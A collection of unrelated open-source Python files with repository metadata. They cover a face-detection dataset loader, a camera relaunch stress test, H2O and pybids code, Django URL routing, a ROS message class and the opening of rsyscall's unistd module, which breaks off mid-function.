fdd050eef1c075965b7717f014ae2eeb51c1483f
/tools/imagedb.py
78c250ee0bd4a4ff6e3dcc0b9eef230fd46a8cca
[]
no_license
digital-nomad-cheng/MTCNN_PyTorch_Zero_To_One
a8b33b4b39c6f325280d04f22f0e72c532b33cd3
30c3fd34c29aa81c4353029c55721b54cc961534
refs/heads/master
2022-11-06T18:30:35.344107
2019-10-09T06:30:17
2019-10-09T06:30:17
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,288
py
import os import sys import numpy as np import torch.utils.data as data from PIL import Image import config def pil_loader(path): # open path as file to avoid ResourceWarning (https://github.com/python-pillow/Pillow/issues/835) with open(path, 'rb') as f: img = Image.open(f) return img.convert('RGB') class ImageDB(object): def __init__(self, image_annotation_file, prefix_path='', mode='train'): self.prefix_path = prefix_path self.image_annotation_file = image_annotation_file self.classes = ['__background__', 'face'] self.num_classes = 2 self.image_set_index = self.load_image_set_index() self.num_images = len(self.image_set_index) self.mode = mode def load_image_set_index(self): ''' Get image index Returns: image_set_index: str, relative path of image ''' assert os.path.exists(self.image_annotation_file), 'Path does not exist: {}'.format( self.image_annotation_file) with open(self.image_annotation_file, 'r') as f: image_set_index = [x.strip().split(' ')[0] for x in f.readlines()] return image_set_index def load_imdb(self): ''' Get and save ground truth image database Returns: gt_imdb: dict, image database with annotations ''' gt_imdb = self.load_annotations() return gt_imdb def real_image_path(self, index): ''' Given image's relative index, return full path of image ''' index = index.replace("\\", "/") if not os.path.exists(index): image_file = os.path.join(self.prefix_path, index) else: image_file = index if not image_file.endswith('.jpg'): image_file = image_file + '.jpg' assert os.path.exists( image_file), 'Path does not exist: {}'.format(image_file) return image_file def load_annotations(self, annotation_type=1): ''' Load annotations what's the meaning of annotation_type ? I don't know ! Returns: imdb: dict, image database with annotations ''' assert os.path.exists(self.image_annotation_file), 'annotations not found at {}'.format( self.image_annotation_file) with open(self.image_annotation_file, 'r') as f: annotations = f.readlines() imdb = [] for i in range(self.num_images): annotation = annotations[i].strip().split(' ') index = annotation[0] im_path = self.real_image_path(index) imdb_ = dict() imdb_['image'] = im_path if self.mode == 'test': pass else: label = annotation[1] imdb_['label'] = int(label) imdb_['flipped'] = False imdb_['bbox_target'] = np.zeros((4,)) imdb_['landmark_target'] = np.zeros((2*config.NUM_LANDMARKS,)) if len(annotation[2:]) == 4: bbox_target = annotation[2:6] imdb_['bbox_target'] = np.array(bbox_target).astype(float) if len(annotation[2:]) == 4 + 2*config.NUM_LANDMARKS: bbox_target = annotation[2:6] imdb_['bbox_target'] = np.array(bbox_target).astype(float) landmark = annotation[6:] imdb_['landmark_target'] = np.array(landmark).astype(float) imdb.append(imdb_) return imdb def append_flipped_images(self, imdb): ''' append flipped images to imdb Returns: imdb: dict, image database with flipped image annotations ''' print('append flipped images to imdb ', len(imdb)) for i in range(len(imdb)): imdb_ = imdb[i] m_bbox = imdb_['bbox_target'].copy() m_bbox[0], m_bbox[2] = -m_bbox[2], -m_bbox[0] landmark_ = imdb_['landmark_target'].copy() landmark_ = landmark_.reshape((5, 2)) landmark_ = np.asarray([(1 - x, y) for (x, y) in landmark_]) landmark_[[0, 1]] = landmark_[[1, 0]] landmark_[[3, 4]] = landmark_[[4, 3]] item = {'image': imdb_['image'], 'label': imdb_['label'], 'bbox_target': m_bbox, 'landmark_target': landmark_.reshape((2*config.NUM_LANDMARKS)), 'flipped': True} imdb.append(item) self.image_set_index *= 2 print('after flipped images appended to imdb ', len(imdb)) return imdb class FaceDataset(data.Dataset): def __init__(self, image_annotation_file, prefix_path='', transform=None, is_train=False): self.image_annotation_file = image_annotation_file self.prefix_path = prefix_path self.is_train = is_train self.classes = ['__background__', 'face'] self.num_classes = 2 self.image_set_index = self.load_image_set_index() self.num_images = len(self.image_set_index) self.gt_imdb = self.load_annotations() if self.is_train: self.gt_imdb = self.append_flipped_images(self.gt_imdb) self.transform = transform self.loader = pil_loader def load_image_set_index(self): """Get image index Parameters: ---------- Returns: ------- image_set_index: str relative path of image """ assert os.path.exists(self.image_annotation_file), 'Path does not exist: {}'.format( self.image_annotation_file) with open(self.image_annotation_file, 'r') as f: image_set_index = [x.strip().split(' ')[0] for x in f.readlines()] return image_set_index def real_image_path(self, index): """Given image index, return full path Parameters: ---------- index: str relative path of image Returns: ------- image_file: str full path of image """ index = index.replace("\\", "/") if not os.path.exists(index): image_file = os.path.join(self.prefix_path, index) else: image_file = index if not image_file.endswith('.jpg'): image_file = image_file + '.jpg' assert os.path.exists( image_file), 'Path does not exist: {}'.format(image_file) return image_file def load_annotations(self): """Load annotations Returns: ------- imdb: dict image database with annotations """ assert os.path.exists(self.image_annotation_file), 'annotations not found at {}'.format( self.image_annotation_file) with open(self.image_annotation_file, 'r') as f: annotations = f.readlines() imdb = [] for i in range(self.num_images): annotation = annotations[i].strip().split(' ') index = annotation[0] im_path = self.real_image_path(index) imdb_ = dict() imdb_['image'] = im_path # print(im_path) if not self.is_train: # gt_boxes = map(float, annotation[1:]) # boxes = np.array(bbox, dtype=np.float32).reshape(-1, 4) # imdb_['gt_boxes'] = boxes pass else: label = annotation[1] imdb_['label'] = int(label) imdb_['flipped'] = False imdb_['bbox_target'] = np.zeros((4,)) imdb_['landmark_target'] = np.zeros((2*config.NUM_LANDMARKS,)) if len(annotation[2:]) == 4: bbox_target = annotation[2:6] imdb_['bbox_target'] = np.array(bbox_target).astype(float) if len(annotation[2:]) == 4 + 2*config.NUM_LANDMARKS: bbox_target = annotation[2:6] imdb_['bbox_target'] = np.array(bbox_target).astype(float) landmark = annotation[6:] # print("landmark in dataloader:", landmark) imdb_['landmark_target'] = np.array(landmark).astype(float) imdb.append(imdb_) return imdb def append_flipped_images(self, imdb): """append flipped images to imdb Parameters: ---------- imdb: imdb image database Returns: ------- imdb: dict image database with flipped image annotations added """ print('append flipped images to imdb', len(imdb)) for i in range(len(imdb)): imdb_ = imdb[i] m_bbox = imdb_['bbox_target'].copy() m_bbox[0], m_bbox[2] = -m_bbox[2], -m_bbox[0] landmark_ = imdb_['landmark_target'].copy() landmark_ = landmark_.reshape((config.NUM_LANDMARKS, 2)) landmark_ = np.asarray([(1 - x, y) for (x, y) in landmark_]) landmark_[[0, 1]] = landmark_[[1, 0]] landmark_[[3, 4]] = landmark_[[4, 3]] item = {'image': imdb_['image'], 'label': imdb_['label'], 'bbox_target': m_bbox, 'landmark_target': landmark_.reshape((2*config.NUM_LANDMARKS)), 'flipped': True} imdb.append(item) self.image_set_index *= 2 return imdb def __len__(self): return self.num_images def __getitem__(self, idx): imdb_ = self.gt_imdb[idx] image = self.loader(imdb_['image']) labels = {} labels['label'] = imdb_['label'] labels['bbox_target'] = imdb_['bbox_target'] labels['landmark_target'] = imdb_['landmark_target'] if self.transform: image = self.transform(image) return image, labels
55601c8bb38d719b6102c5fb2c751d1dd5cd13d0
5bce1118b13289308d23510f323c79aa972ddc27
/src/modules/irisv2/message/testAndPreviewDBAssertion.py
4c27a9dcebe7eaf26d5833febc6fc2e93b8fee11
[]
no_license
anupsl/pyApps
62b64b90723de32684bbabee402220317a4fe817
2651d502c366b87449a0c977a9876cc32521c57c
refs/heads/master
2022-07-03T05:49:12.828630
2020-05-10T17:25:26
2020-05-10T17:25:26
255,157,123
0
0
null
null
null
null
UTF-8
Python
false
false
1,507
py
import time from src.dbCalls.campaignShard import list_Calls from src.dbCalls.messageInfo import message_calls from src.modules.irisv2.list.createAudienceDBAssertion import CreateAudienceDBAssertion from src.modules.irisv2.message.authorizeMessageDbAssertion import AuthorizeMessageDBAssertion class PreviewDBAssertion(): def __init__(self, messageId, numberOfUsers): self.messageId = messageId self.listType = 'TEST_GROUP' self.numberOfusers = numberOfUsers self.getBasicInfoFromMessageId() def check(self): self.validateAudienceInfo() self.validateMessageInfo() def waitForListToBeUpdated(self): for _ in range(12): if list_Calls().getCustomerCountInGVD(self.listId) > 0: break time.sleep(5) def getBasicInfoFromMessageId(self): self.listId, self.campaignId = message_calls().getTargetAudienceForTestAndPreview(self.messageId) self.waitForListToBeUpdated() self.listInfo = { 'VID': list_Calls().getGroupVersionId(self.listId) } def validateAudienceInfo(self): CreateAudienceDBAssertion(self.listId, self.listInfo, self.listType, self.numberOfusers).check() def validateMessageInfo(self): response = { 'json': { 'entity': { 'id': self.messageId } } } AuthorizeMessageDBAssertion(self.campaignId, response, {}, 'skip').check()
4721727fb57a7576274589538fe2043374a72c05
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_109/ch178_2020_08_14_14_36_55_463698.py
0fdcafae5574c8b94fafe555c0e97a93b5af8c7a
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
409
py
def junta_nomes(homens, mulheres, sobrenomes): nomes_possiveis = [] for i in range(len(homens)): for p in range(len(sobrenomes)): nomes_possiveis.append(homens[i] + ' ' + sobrenomes[p]) for i in range(len(mulheres)): for p in range(len(sobrenomes)): nomes_possiveis.append(mulheres[i] + ' ' + sobrenomes[p]) return nomes_possiveis
c5778be46b1c38b2fd8acfee1a06f2bd935fbd86
02e930875e95713a387c60b7de816a3a354ceb3d
/bids/variables/entities.py
b5dc02b76d6a3ff0ad3e12c9c2677fdeba6a467d
[ "MIT" ]
permissive
Islast/pybids
6a7899cbef03ec3579a21e1cbe85deb5d180ca1e
3e80e617e6bd6258e027c9937ccedafe1c8e6b14
refs/heads/master
2020-03-23T22:00:14.970425
2018-07-24T14:14:08
2018-07-24T14:14:08
142,146,832
0
0
MIT
2018-07-24T11:06:51
2018-07-24T11:06:51
null
UTF-8
Python
false
false
6,874
py
from itertools import chain from collections import namedtuple from . import kollekshuns as clc import pandas as pd class Node(object): ''' Base class for objects that represent a single object in the BIDS hierarchy. Args: id (int, str): A value uniquely identifying this node. Typically the entity value extracted from the filename via grabbids. ''' def __init__(self, level, entities): self.level = level self.entities = entities self.variables = {} def add_variable(self, variable): ''' Adds a BIDSVariable to the current Node's list. Args: variable (BIDSVariable): The Variable to add to the list. ''' self.variables[variable.name] = variable class RunNode(Node): ''' Represents a single Run in a BIDS project. Args: id (int): The index of the run. entities (dict): Dictionary of entities for this Node. image_file (str): The full path to the corresponding nifti image. duration (float): Duration of the run, in seconds. repetition_time (float): TR for the run. task (str): The task name for this run. ''' def __init__(self, entities, image_file, duration, repetition_time): self.image_file = image_file self.duration = duration self.repetition_time = repetition_time super(RunNode, self).__init__('run', entities) def get_info(self): return RunInfo(self.entities, self.duration, self.repetition_time, self.image_file) # Stores key information for each Run. RunInfo = namedtuple('RunInfo', ['entities', 'duration', 'tr', 'image']) class NodeIndex(Node): ''' Represents the top level in a BIDS hierarchy. ''' def __init__(self): self.index = pd.DataFrame() self.nodes = [] def get_collections(self, unit, names=None, merge=False, sampling_rate=None, **entities): ''' Retrieve variable data for a specified level in the Dataset. Args: unit (str): The unit of analysis to return variables for. Must be one of 'run', 'session', 'subject', or 'dataset'. names (list): Optional list of variables names to return. If None, all available variables are returned. merge (bool): If True, variables are merged across all observations of the current unit. E.g., if unit='subject' and return_type= 'collection', variablesfrom all subjects will be merged into a single collection. If False, each observation is handled separately, and the result is returned as a list. sampling_rate (int, str): If level='run', the sampling rate to pass onto the returned BIDSRunVariableCollection. entities: Optional constraints used to limit what gets returned. Returns: ''' nodes = self.get_nodes(unit, entities) var_sets = [] for n in nodes: var_set = list(n.variables.values()) var_set = [v for v in var_set if v.matches_entities(entities)] if names is not None: var_set = [v for v in var_set if v.name in names] # Additional filtering on Variables past run level, because their # contents are extracted from TSV files containing rows from # multiple observations if unit != 'run': var_set = [v.filter(entities) for v in var_set] var_sets.append(var_set) if merge: var_sets = [list(chain(*var_sets))] results = [] for vs in var_sets: if not vs: continue if unit == 'run': vs = clc.BIDSRunVariableCollection(vs, sampling_rate) else: vs = clc.BIDSVariableCollection(vs) results.append(vs) if merge: return results[0] return results def get_nodes(self, level=None, entities=None, strict=False): entities = {} if entities is None else entities.copy() if level is not None: entities['level'] = level if entities is None: return self.nodes match_ents = set(entities.keys()) common_cols = list(match_ents & set(self.index.columns)) if strict and match_ents - common_cols: raise ValueError("Invalid entities: ", match_ents - common_cols) if not common_cols: return self.nodes # Construct query string that handles both single values and iterables query = [] for col in common_cols: oper = 'in' if isinstance(entities[col], (list, tuple)) else '==' q = '{name} {oper} {val}'.format(name=col, oper=oper, val=repr(entities[col])) query.append(q) query = ' and '.join(query) rows = self.index.query(query) if rows.empty: return [] # Sort and return sort_cols = ['subject', 'session', 'task', 'run'] sort_cols = [sc for sc in sort_cols if sc in set(rows.columns)] sort_cols += list(set(rows.columns) - set(sort_cols)) rows = rows.sort_values(sort_cols) inds = rows['node_index'].astype(int) return [self.nodes[i] for i in inds] def get_or_create_node(self, level, entities, *args, **kwargs): ''' Retrieves a child Node based on the specified criteria, creating a new Node if necessary. Args: entities (dict): Dictionary of entities specifying which Node to return. args, kwargs: Optional positional or named arguments to pass onto class-specific initializers. These arguments are only used if a Node that matches the passed entities doesn't already exist, and a new one must be created. Returns: A Node instance. ''' result = self.get_nodes(level, entities) if result: if len(result) > 1: raise ValueError("More than one matching Node found! If you're" " expecting more than one Node, use " "get_nodes() instead of get_or_create_node()." ) return result[0] # Create Node if level == 'run': node = RunNode(entities, *args, **kwargs) else: node = Node(level, entities) entities = dict(entities, node_index=len(self.nodes), level=level) self.nodes.append(node) node_row = pd.Series(entities) self.index = self.index.append(node_row, ignore_index=True) return node
ab9d39808661bb3098b6747960768e9d011d9399
42516b0348936e257d04113c2e632dc72ba58e91
/test_env/test_suit_stress_test_camera1/test_suit_stress_test_camera1_case000017.py
79f22f009c1b436dedff6bac1f89f0baac4b734c
[]
no_license
wwlwwlqaz/Qualcomm
2c3a225875fba955d771101f3c38ca0420d8f468
a04b717ae437511abae1e7e9e399373c161a7b65
refs/heads/master
2021-01-11T19:01:06.123677
2017-04-05T07:57:21
2017-04-05T07:57:21
79,292,426
1
1
null
null
null
null
UTF-8
Python
false
false
6,250
py
''' @author: c_caijie ''' import fs_wrapper import settings.common as SC from case_utility import * from logging_wrapper import log_test_case, save_fail_log, print_report_line from test_case_base import TestCaseBase from qrd_shared.case import * from qrd_shared.mms.Mms import * class test_suit_stress_test_camera1_case000017(TestCaseBase): ''' @see: L{TestCaseBase <TestCaseBase>} ''' ''' "Procedure: Step1:Launch Camera and sleep 1s; Step2:press home,sleep 1s re-launch camera; Step3: repeat step2 for 200 time Verification: ER2:No crash,No ANR ''' def test_case_main(self, case_results): global case_flag , TAG, testresult, success_flag, i, success_time case_flag = False testresult = [] success_time = 0 fail_time = 0 iterationNum = 200 TAG = "Dev-ci cases: Camera " log_test_framework(TAG, self.name+" -Start") """ cases contents you need to add """ if search_text("Close app", searchFlag=TEXT_CONTAINS): click_button_by_text("Close app", searchFlag=TEXT_CONTAINS) sleep(2) start_activity('org.codeaurora.snapcam','com.android.camera.CameraLauncher') if wait_for_fun(lambda:search_view_by_id('permission_allow_button'), True, 10): click_button_by_id('permission_allow_button') if wait_for_fun(lambda:search_text('OK'), True, 5): click_textview_by_text('OK') for i in range(iterationNum): print_log_line('This is iteration %d'%(i+1)) success_flag = False if wait_for_fun(lambda:search_view_by_id('shutter_button'), True, 10): log_test_framework("step1:", "Launch camera pass") sleep(1) send_key(KEY_HOME) sleep(1) start_activity('org.codeaurora.snapcam','com.android.camera.CameraLauncher') if wait_for_fun(lambda:search_view_by_id('shutter_button'), True, 8): log_test_framework("step2:", "press home and re-launch camera pass") success_flag = True if success_flag == True: testresult.append('%d.Pass'%(i+1)) success_time=success_time+1 print_log(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], '%d.Pass'%(i+1)) else: testresult.append('%d.Fail'%(i+1)) take_screenshot() fail_time=fail_time+1 print_log(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], '%d.Fail'%(i+1)) if search_text("Close app", searchFlag=TEXT_CONTAINS): print_log(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], '%d.Popup Close app'%(i+1)) click_button_by_text("Close app", searchFlag=TEXT_CONTAINS) sleep(2) if success_time == iterationNum: case_flag = True if search_text("isn't responding", searchFlag=TEXT_CONTAINS): log_test_case(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], "Occurs ANR") take_screenshot() if search_text("Close app", searchFlag=TEXT_CONTAINS): click_button_by_text("Close app", searchFlag=TEXT_CONTAINS) sleep(2) if search_text("Close", searchFlag=TEXT_CONTAINS): click_button_by_text("Close") sleep(2) elif search_text("Unfortunately", searchFlag=TEXT_CONTAINS): log_test_case(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], "Occurs crash") take_screenshot() if search_text("OK", searchFlag=TEXT_CONTAINS): click_button_by_text("OK") sleep(2) if search_text("Close", searchFlag=TEXT_CONTAINS): click_button_by_text("Close") sleep(2) elif search_text("stopped", searchFlag=TEXT_CONTAINS): log_test_case(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], "Popup has stopped") take_screenshot() if search_text("Close", searchFlag=TEXT_CONTAINS): click_button_by_text("Close") sleep(2) if search_text("OK", searchFlag=TEXT_CONTAINS): click_button_by_text("OK") sleep(2) elif search_text("Close app", searchFlag=TEXT_CONTAINS): log_test_case(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], "Popup Close app error") take_screenshot() click_button_by_text("Close app", searchFlag=TEXT_CONTAINS) sleep(2) send_key(KEY_BACK) sleep(1) send_key(KEY_BACK) sleep(1) send_key(KEY_HOME) sleep(1) print_log(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], 'success:%d fail:%d iteration:%d'%(success_time,fail_time,iterationNum)) print_log(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], testresult) if case_flag: qsst_log_case_status(STATUS_SUCCESS, "" , SEVERITY_HIGH) else: qsst_log_case_status(STATUS_FAILED, "", SEVERITY_HIGH) case_results.append((self.case_config_map[fs_wrapper.CASE_NAME_ATTR], case_flag)) def test_case_end(self): ''' record the case result ''' log_test_case(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], TAG + ' : end') if can_continue() and case_flag == True: log_test_case(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], TAG + ' : case pass') print_report_line(self.case_config_map[fs_wrapper.CASE_NAME_ATTR] + TAG + ' : \tpass') else: log_test_case(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], TAG + ' : case fail') print_report_line(self.case_config_map[fs_wrapper.CASE_NAME_ATTR] + TAG + ' : \tfail') save_fail_log()
ff1ebae24a9c6ef914e9a6c47a53c6da1336ba23
651a296c8f45b5799781fd78a6b5329effe702a0
/r8lib/r8_huge.py
3212dcce4b575bf4fb3ea62d8ce0f2d932756e7f
[]
no_license
pdhhiep/Computation_using_Python
095d14370fe1a01a192d7e44fcc81a52655f652b
407ed29fddc267950e9860b8bbd1e038f0387c97
refs/heads/master
2021-05-29T12:35:12.630232
2015-06-27T01:05:17
2015-06-27T01:05:17
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,186
py
#!/usr/bin/env python def r8_huge ( ): #*****************************************************************************80 # ## R8_HUGE returns a "huge" real number. # # Discussion: # # The value returned by this function is intended to be the largest # representable real value. # # Licensing: # # This code is distributed under the GNU LGPL license. # # Modified: # # 27 September 2014 # # Author: # # John Burkardt # # Parameters: # # Output, real VALUE, a huge number. # value = 1.79769313486231571E+308 return value def r8_huge_test ( ): #*****************************************************************************80 # ## R8_HUGE_TEST tests R8_HUGE. # # Licensing: # # This code is distributed under the GNU LGPL license. # # Modified: # # 27 September 2014 # # Author: # # John Burkardt # print '' print 'R8_HUGE_TEST' print ' R8_HUGE returns a "huge" R8;' print '' print ' R8_HUGE = %g' % ( r8_huge ( ) ) # # Terminate. # print '' print 'R8_HUGE_TEST' print ' Normal end of execution.' return if ( __name__ == '__main__' ): from timestamp import timestamp timestamp ( ) r8_huge_test ( ) timestamp ( )
065f78194b63a1663e27951f0551f53bc9903c51
db12b990924703cd74748d8585cd9c11fafa6746
/h2o-py/tests/testdir_apis/H2OAssembly/pyunit_h2oassembly_download_mojo_col_op_string_properties_unary.py
880d83dd40179596139d27f51b6cffb3f83bfaf1
[ "Apache-2.0" ]
permissive
h2oai/h2o-3
919019a8f297eec676011a9cfd2cc2d97891ce14
d817ab90c8c47f6787604a0b9639b66234158228
refs/heads/master
2023-08-17T18:50:17.732191
2023-08-17T16:44:42
2023-08-17T16:44:42
17,371,412
6,872
2,345
Apache-2.0
2023-09-14T18:05:40
2014-03-03T16:08:07
Jupyter Notebook
UTF-8
Python
false
false
3,006
py
import sys, os sys.path.insert(1,"../../") from tests import pyunit_utils from h2o.assembly import * from h2o.transforms.preprocessing import * from h2o.pipeline import H2OMojoPipeline import uuid def h2oassembly_download_mojo_col_op_string_properties_unary(): test_unary_string_properties_function(H2OFrame.countmatches, pattern=["tt", "ex"]) test_unary_string_properties_function(H2OFrame.entropy) test_unary_string_properties_function(H2OFrame.nchar) path = os.path.join(os.getcwd(), "results", "h2oassembly_download_mojo_col_op_grep_words") with open(path, "w") as text_file: text_file.writelines(["33ss33\n", "sssss\n", "tt\n", "33ttaattaas\n", "\n", "asttatta\n", "text\n"]) test_unary_string_properties_function(H2OFrame.num_valid_substrings, path_to_words=path) test_unary_string_properties_function(H2OFrame.grep, pattern="tt", ignore_case=False, invert=False, output_logical=True) test_unary_string_properties_function(H2OFrame.grep, pattern="tt", ignore_case=False, invert=True, output_logical=True) test_unary_string_properties_function(H2OFrame.grep, pattern="tt", ignore_case=True, invert=False, output_logical=True) test_unary_string_properties_function(H2OFrame.grep, pattern="tt", ignore_case=True, invert=True, output_logical=True) def test_unary_string_properties_function(function, **params): values = [[12.5, "++&&texTtextText&+", 14], [12.2, " fTtFsaf ", 24], [2.23, " fd9af ", 34], [3.31, "+&texttext&&++", 34], [4.31, "3fdsf3", 34], [1.13, "+texTText++", 34], [52.4, "33", 34], [62.5, "ss", 34], [82.6, "&&texTtexttext&", 34], [12.8, "ttaatt", 34], [35.9, "asttatta", 34], [32.3, "", 34]] frame = h2o.H2OFrame( python_obj=values, column_names=["a", "s", "c"], column_types=["numeric", "string", "numeric"]) assembly = H2OAssembly( steps=[("col_op_" + function.__name__, H2OColOp(op=function, col="s", new_col_name="n", inplace=False, **params)),]) expected = assembly.fit(frame) assert_is_type(expected, H2OFrame) results_dir = os.path.join(os.getcwd(), "results") file_name = "h2oassembly_download_mojo_col_op_" + function.__name__ + "_" + str(uuid.uuid4()) path = os.path.join(results_dir, file_name + ".mojo") mojo_file = assembly.download_mojo(file_name=file_name, path=path) assert os.path.exists(mojo_file) pipeline = H2OMojoPipeline(mojo_path=mojo_file) result = pipeline.transform(frame) assert_is_type(result, H2OFrame) pyunit_utils.compare_frames(expected, result, expected.nrows, tol_numeric=1e-5) if __name__ == "__main__": pyunit_utils.standalone_test(h2oassembly_download_mojo_col_op_string_properties_unary, init_options={"extra_classpath": ["path_mojo_lib"]}) else: h2oassembly_download_mojo_col_op_string_properties_unary()
e3a88448f7923a6ad70e5a9fdad0dff77a9fdd20
2ce65a628e05837df6f9ef0e5ce4cc74a59b625c
/geekromeo/urls.py
7b1cccce5c29df4c50c0abfd5a0e7f115a155764
[]
no_license
jarus/geekromeo
8ccc32cee05442bc9a59ffe866ebdff613c1e14d
b4eb4a7f7e3dba69cf26e4b566b35c0e2d144336
refs/heads/master
2023-05-30T07:26:12.199961
2013-01-25T21:35:41
2013-01-25T21:35:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
991
py
from django.conf.urls import patterns, include, url # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() from .views import HomeView import os urlpatterns = patterns('', # Examples: url(r'^$', HomeView.as_view(), name='home'), # url(r'^geekromeo/', include('geekromeo.foo.urls')), url(r'^profile/', include('profiles.urls')), # Uncomment the admin/doc line below to enable admin documentation: url(r'^admin/doc/', include('django.contrib.admindocs.urls')), # Uncomment the next line to enable the admin: url(r'^admin/', include(admin.site.urls)), ) from django.conf import settings if settings.DEBUG: urlpatterns += patterns('', url(r'^media/(.*)$', 'django.views.static.serve', kwargs={'document_root': os.path.join(settings.PROJECT_ROOT, 'media')}), )
a0b1ae3aa061540ab7fe6a2bdc19fb422a88e49e
12f664c45e338772832ce8a65213f12ee59451f6
/devel/lib/python2.7/dist-packages/naoqi_bridge_msgs/msg/_JointTrajectoryFeedback.py
20f7e6b527d2ed89c9751f680a85038b3559a164
[]
no_license
Jose-Pedro/NAO-KINECT-ROS
89eefd3956a2d739496fb4e7199b7e523f47a2ec
efb01e20983788e62baac26d2aab7949729609b6
refs/heads/master
2021-01-19T04:13:42.647533
2016-06-22T19:46:45
2016-06-22T19:46:45
61,549,669
1
1
null
null
null
null
UTF-8
Python
false
false
2,982
py
# This Python file uses the following encoding: utf-8 """autogenerated by genpy from naoqi_bridge_msgs/JointTrajectoryFeedback.msg. Do not edit.""" import sys python3 = True if sys.hexversion > 0x03000000 else False import genpy import struct class JointTrajectoryFeedback(genpy.Message): _md5sum = "d41d8cd98f00b204e9800998ecf8427e" _type = "naoqi_bridge_msgs/JointTrajectoryFeedback" _has_header = False #flag to mark the presence of a Header object _full_text = """# ====== DO NOT MODIFY! AUTOGENERATED FROM AN ACTION DEFINITION ====== # no feedback currently """ __slots__ = [] _slot_types = [] def __init__(self, *args, **kwds): """ Constructor. Any message fields that are implicitly/explicitly set to None will be assigned a default value. The recommend use is keyword arguments as this is more robust to future message changes. You cannot mix in-order arguments and keyword arguments. The available fields are: :param args: complete set of field values, in .msg order :param kwds: use keyword arguments corresponding to message field names to set specific fields. """ if args or kwds: super(JointTrajectoryFeedback, self).__init__(*args, **kwds) def _get_types(self): """ internal API method """ return self._slot_types def serialize(self, buff): """ serialize message into buffer :param buff: buffer, ``StringIO`` """ try: pass except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self))))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self))))) def deserialize(self, str): """ unpack serialized message in str into this message instance :param str: byte array of serialized message, ``str`` """ try: end = 0 return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill def serialize_numpy(self, buff, numpy): """ serialize message with numpy array types into buffer :param buff: buffer, ``StringIO`` :param numpy: numpy python module """ try: pass except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self))))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self))))) def deserialize_numpy(self, str, numpy): """ unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module """ try: end = 0 return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill _struct_I = genpy.struct_I
9657030f16cb4e300b77f2974b20dded8e72bac9
32c44b66ec20651893aaa83da355740784c85d94
/python/rsyscall/unistd/__init__.py
a88db3611ac914f4017e1488352a32dd921b8eea
[]
no_license
LongJohnCoder/rsyscall
1dbbba3aa7dcae3b018c159f409f3c56a1c5f896
1b4c0f51f92c0a1b91e1b45389fcecb1f0cc29bf
refs/heads/master
2023-06-10T02:45:35.711203
2021-07-03T18:52:00
2021-07-03T19:42:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
15,368
py
"`#include <unistd.h>`" from __future__ import annotations from rsyscall._raw import ffi, lib # type: ignore import enum from rsyscall.struct import Serializer, FixedSerializer, Serializable import struct import typing as t import rsyscall.near.types as near import os from rsyscall.handle.pointer import Pointer, WrittenPointer, ReadablePointer if t.TYPE_CHECKING: from rsyscall.handle import Task, FileDescriptor __all__ = [ "SEEK", "OK", "ArgList", "Pipe", "FSFileDescriptor", ] # re-exported from rsyscall.unistd.io import SEEK from rsyscall.unistd.pipe import Pipe class OK(enum.IntFlag): "The mode argument to access, faccessat." R = lib.R_OK W = lib.W_OK X = lib.X_OK F = lib.F_OK class RENAME(enum.IntFlag): "The flags argument to renameat2" NONE = 0 EXCHANGE = lib.RENAME_EXCHANGE NOREPLACE = lib.RENAME_NOREPLACE WHITEOUT = lib.RENAME_WHITEOUT T_arglist = t.TypeVar('T_arglist', bound='ArgList') class ArgList(t.List[WrittenPointer[t.Union[str, os.PathLike]]], FixedSerializer): "A null-terminated list of null-terminated strings, as passed to execve." @classmethod def get_serializer(cls, task: Task) -> Serializer[T_arglist]: return ArgListSerializer() import struct class ArgListSerializer(Serializer[T_arglist]): def to_bytes(self, arglist: T_arglist) -> bytes: ret = b"" for ptr in arglist: ret += struct.Struct("Q").pack(int(ptr.near)) ret += struct.Struct("Q").pack(0) return ret def from_bytes(self, data: bytes) -> T_arglist: raise Exception("can't get pointer handles from raw bytes") def _get_near(fd: t.Optional[BaseFileDescriptor]) -> t.Optional[near.FileDescriptor]: if fd is None: return None else: fd._validate() return fd.near #### Classes #### from rsyscall.handle.fd import BaseFileDescriptor, FileDescriptorTask from rsyscall.fcntl import AT, O T_fd = t.TypeVar('T_fd', bound='FSFileDescriptor') class FSFileDescriptor(BaseFileDescriptor): async def readlinkat(self, path: WrittenPointer[t.Union[str, os.PathLike]], buf: Pointer) -> t.Tuple[ReadablePointer, Pointer]: """read value of a symbolic link manpage: readlinkat(2) """ self._validate() with path.borrow(self.task): with buf.borrow(self.task): ret = await _readlinkat(self.task.sysif, self.near, path.near, buf.near, buf.size()) return buf.readable_split(ret) async def faccessat(self, ptr: WrittenPointer[t.Union[str, os.PathLike]], mode: OK, flags: AT=AT.NONE) -> None: """check user's permissions for a file manpage: faccessat(2) """ self._validate() with ptr.borrow(self.task): await 